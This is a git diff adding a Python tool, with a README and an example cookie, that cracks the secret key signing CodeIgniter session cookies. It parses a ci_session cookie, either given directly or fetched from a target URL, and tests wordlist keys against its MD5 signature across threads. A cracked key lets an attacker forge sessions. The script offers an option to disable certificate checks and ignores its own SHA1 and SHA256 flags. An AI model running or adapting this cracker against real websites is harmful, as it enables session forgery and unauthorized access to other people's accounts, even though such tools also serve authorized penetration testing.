diff --git a/CodeIgniter-session-unsign.py b/CodeIgniter-session-unsign.py new file mode 100755 index 0000000..0559746 --- /dev/null +++ b/CodeIgniter-session-unsign.py @@ -0,0 +1,107 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +# File name : CodeIgniter-session-unsign.py +# Author : Podalirius (@podalirius_) +# Date created : 25 Jun 2022 + +import argparse +import binascii +import hashlib +import os +import urllib.parse +import requests +import sys +from concurrent.futures import ThreadPoolExecutor + + +def parseArgs(): + print("CodeIgniter-session-unsign v1.1 - by @podalirius_\n") + + parser = argparse.ArgumentParser(description="Description message") + group_source = parser.add_mutually_exclusive_group() + group_source.add_argument("-u", "--url", default=None, help='URL of the CodeIgniter website.') + group_source.add_argument("-c", "--cookie", default=None, help='CodeIgniter session cookie.') + + parser.add_argument("-w", "--wordlist", default=None, required=True, help='Wordlist of keys to test.') + parser.add_argument("-t", "--threads", dest="threads", action="store", type=int, default=8, required=False, help="Number of threads (default: 8)") + parser.add_argument("-k", "--insecure", dest="insecure", action="store_true", default=False, help="Allow insecure server connections when using SSL (default: False)") + + group = parser.add_mutually_exclusive_group() + group.add_argument("--md5", default=False, help='Use MD5 algorithm.') + group.add_argument("--sha1", default=False, help='Use SHA1 algorithm.') + group.add_argument("--sha256", default=False, help='Use SHA256 algorithm.') + + return parser.parse_args() + + +def worker(ci_cookie_value, hash, password): + try: + testhash = hashlib.md5(bytes(ci_cookie_value + password, 'UTF-8')).hexdigest() + # print(testhash, hash, (hash == testhash)) + if hash == testhash: + print(" [+] Found valid password: '%s'" % password) + return True + else: + return False + except Exception as e: + print(e) + + +def test_keys(ci_cookie_value, hash, wordlist_file, threads=8): + f = open(wordlist_file, "r") + wordlist = [l.strip() for l in f.readlines()] + f.close() + # Waits for all the threads to be completed + with ThreadPoolExecutor(max_workers=min(threads, len(wordlist))) as tp: + for password in wordlist: + tp.submit(worker, ci_cookie_value, hash, password) + + +if __name__ == '__main__': + options = parseArgs() + + if options.insecure: + # Disable warings of insecure connection for invalid certificates + requests.packages.urllib3.disable_warnings() + # Allow use of deprecated and weak cipher methods + requests.packages.urllib3.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL' + try: + requests.packages.urllib3.contrib.pyopenssl.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL' + except AttributeError: + pass + + if not os.path.exists(options.wordlist): + print("[!] Could not read wordlist %s." % options.wordlist) + sys.exit() + + cookies = [] + if options.cookie is not None: + cookies = [options.cookie] + else: + session = requests.Session() + session.get(options.url, verify=(not options.insecure)) + for cookie in session.cookies: + if cookie.name == "ci_session": + cookies.append(cookie.value) + + for cookie_value in cookies: + v = urllib.parse.unquote(cookie_value) + if '}' in v: + hashlen = len(v.split('}')[-1]) + hexhash = cookie_value[-hashlen:] + hashraw = binascii.unhexlify(cookie_value[-hashlen:]) + ci_cookie_value = urllib.parse.unquote(cookie_value[:-hashlen]) + print("[+] Parsed CodeIgniter session cookie:") + print(" | value : %s" % ci_cookie_value) + print(" | signature (%d bits) : %s" % (hashlen*8, hexhash)) + + print("[+] Trying to find key...") + test_keys( + ci_cookie_value=ci_cookie_value, + hash=hexhash, + wordlist_file=options.wordlist, + threads=options.threads + ) + + else: + print("[!] Could not parse CodeIgniter session cookie.") diff --git a/README.md b/README.md index b7e60df..515d9d4 100644 --- a/README.md +++ b/README.md @@ -1 +1,15 @@ -# CodeIgniter-session-unsign \ No newline at end of file +# CodeIgniter-session-unsign + +## e + +## Example + +```angular2html +./CodeIgniter-session-unsign.py --cookie $(cat ./example/cookie) -k -w pass +``` + +## Contributing + + +## References + - https://www.websec.ca/publication/blog/insecure-session-data-CodeIgniter \ No newline at end of file diff --git a/example/cookie b/example/cookie new file mode 100644 index 0000000..744ad58 --- /dev/null +++ b/example/cookie @@ -0,0 +1 @@ +a:5:{s:10:"session_id";s:32:"d318c7f887edf8242a9cf23785240d60";s:10:"ip_address";s:13:"111.111.111.1";s:10:"user_agent";s:72:"Mozilla/5.0 (Windows NT 6.2; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0";s:13:"last_activity";i:1372913399;s:9:"user_data";s:0:"";}b5b3330c886f4ccbc591c02bc94f2e6c \ No newline at end of file